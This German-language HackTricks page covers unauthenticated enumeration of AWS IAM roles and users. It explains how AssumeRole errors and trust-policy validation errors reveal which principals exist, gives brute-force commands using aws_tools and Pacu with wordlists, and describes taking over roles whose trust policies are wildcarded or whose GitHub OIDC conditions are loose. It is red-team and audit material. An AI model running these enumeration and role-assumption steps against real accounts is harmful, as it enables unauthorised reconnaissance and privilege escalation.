AWS - IAM & STS Unauthenticated Enum

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Rollen und Benutzernamen in einem Konto aufzählen

Annahme von Rollen durch Brute-Force

Diese Technik funktioniert nicht mehr, da Sie immer diesen Fehler erhalten, unabhängig davon, ob die Rolle existiert oder nicht:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Sie können dies testen, indem Sie ausführen:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Der Versuch, eine Rolle ohne die erforderlichen Berechtigungen anzunehmen, löst eine AWS-Fehlermeldung aus. Wenn nicht autorisiert, könnte AWS beispielsweise zurückgeben:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Diese Nachricht bestätigt die Existenz der Rolle, zeigt jedoch an, dass ihre Annahme-Richtlinie Ihre Annahme nicht zulässt. Im Gegensatz dazu führt der Versuch, eine nicht vorhandene Rolle anzunehmen, zu einem anderen Fehler:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Interessanterweise ist diese Methode zur Unterscheidung zwischen vorhandenen und nicht vorhandenen Rollen sogar über verschiedene AWS-Konten hinweg anwendbar. Mit einer gültigen AWS-Konto-ID und einer gezielten Wortliste kann man die Rollen im Konto ohne inhärente Einschränkungen aufzählen.

Sie können dieses Skript zur Auflistung potenzieller Prinzipale verwenden, um dieses Problem auszunutzen.

Vertrauensrichtlinien: Brute-Force Cross-Account-Rollen und Benutzer

Das Konfigurieren oder Aktualisieren einer IAM-Rolle Vertrauensrichtlinie beinhaltet die Definition, welche AWS-Ressourcen oder -Dienste berechtigt sind, diese Rolle anzunehmen und temporäre Anmeldeinformationen zu erhalten. Wenn die angegebene Ressource in der Richtlinie existiert, wird die Vertrauensrichtlinie erfolgreich gespeichert. Wenn die Ressource jedoch nicht existiert, wird ein Fehler generiert, der darauf hinweist, dass ein ungültiger Prinzipal angegeben wurde.

Beachten Sie, dass Sie in dieser Ressource eine Cross-Account-Rolle oder einen Benutzer angeben könnten:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

Dies ist ein Richtlinienbeispiel:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

Das ist der Fehler, den Sie finden werden, wenn Sie eine Rolle verwenden, die nicht existiert. Wenn die Rolle existiert, wird die Richtlinie ohne Fehler gespeichert. (Der Fehler tritt beim Aktualisieren auf, funktioniert aber auch beim Erstellen)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Du kannst diesen Prozess mit https://github.com/carlospolop/aws_tools automatisieren

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Unsere Verwendung von Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • Die im Beispiel verwendete admin-Rolle ist eine Rolle in Ihrem Konto, die von Pacu zur Erstellung der benötigten Richtlinien für die Enumeration übernommen werden soll

Privesc

Falls die Rolle schlecht konfiguriert ist und es jedem erlaubt, sie anzunehmen:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Der Angreifer könnte es einfach annehmen.

Drittanbieter OIDC-Föderation

Stellen Sie sich vor, Sie können einen Github Actions-Workflow lesen, der auf eine Rolle in AWS zugreift. Dieses Vertrauen könnte Zugriff auf eine Rolle mit der folgenden Vertrauensrichtlinie gewähren:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Diese Vertrauensrichtlinie könnte korrekt sein, aber das Fehlen weiterer Bedingungen sollte Misstrauen hervorrufen. Dies liegt daran, dass die vorherige Rolle von JEDEM von Github Actions angenommen werden kann! Sie sollten in den Bedingungen auch andere Dinge wie Org-Name, Repo-Name, Umgebung, Branch angeben...

Eine weitere potenzielle Fehlkonfiguration besteht darin, eine Bedingung hinzuzufügen wie folgt:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Beachten Sie das Platzhalterzeichen (*) vor dem Doppelpunkt (:). Sie können eine Organisation wie org_name1 erstellen und die Rolle aus einer Github-Aktion annehmen.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated